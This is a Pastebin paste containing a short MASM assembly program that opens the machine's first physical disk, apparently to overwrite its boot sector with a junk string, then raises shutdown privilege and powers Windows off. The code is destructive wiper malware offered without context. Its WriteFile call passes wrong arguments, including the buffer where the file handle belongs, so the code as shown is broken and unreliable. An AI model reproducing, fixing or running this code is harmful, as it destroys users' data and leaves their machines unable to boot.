bunnytaur

Untitled

Aug 19th, 2010
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .586
  2. .model flat, stdcall  ; 32 bit memory model
  3. option casemap :none  ; case sensitive
  4.  
  5.  
  6. include windows.inc    
  7. includelib user32.lib  
  8. include user32.inc    
  9. includelib kernel32.lib
  10. include ntdll.inc      
  11. includelib ntdll.lib
  12. include msvcrt.inc
  13. includelib msvcrt.lib
  14. include masm32rt.inc
  15.  
  16. .data
  17. file db "\\.\PhysicalDrive0"
  18. junk db "398468-64-6-86428-96480-264-09gsdfyer"
  19.  
  20. .code
  21. start:
  22.  
  23. invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL
  24. invoke WriteFile,addr junk,sizeof junk,sizeof junk,NULL,NULL
  25.  
  26. push esp
  27. invoke RtlAdjustPrivilege,19,2,0,esp
  28. invoke ExitWindowsEx,EWX_SHUTDOWN,NULL
  29. invoke ExitProcess,NULL
  30. end start
Add Comment
Please, Sign In to add comment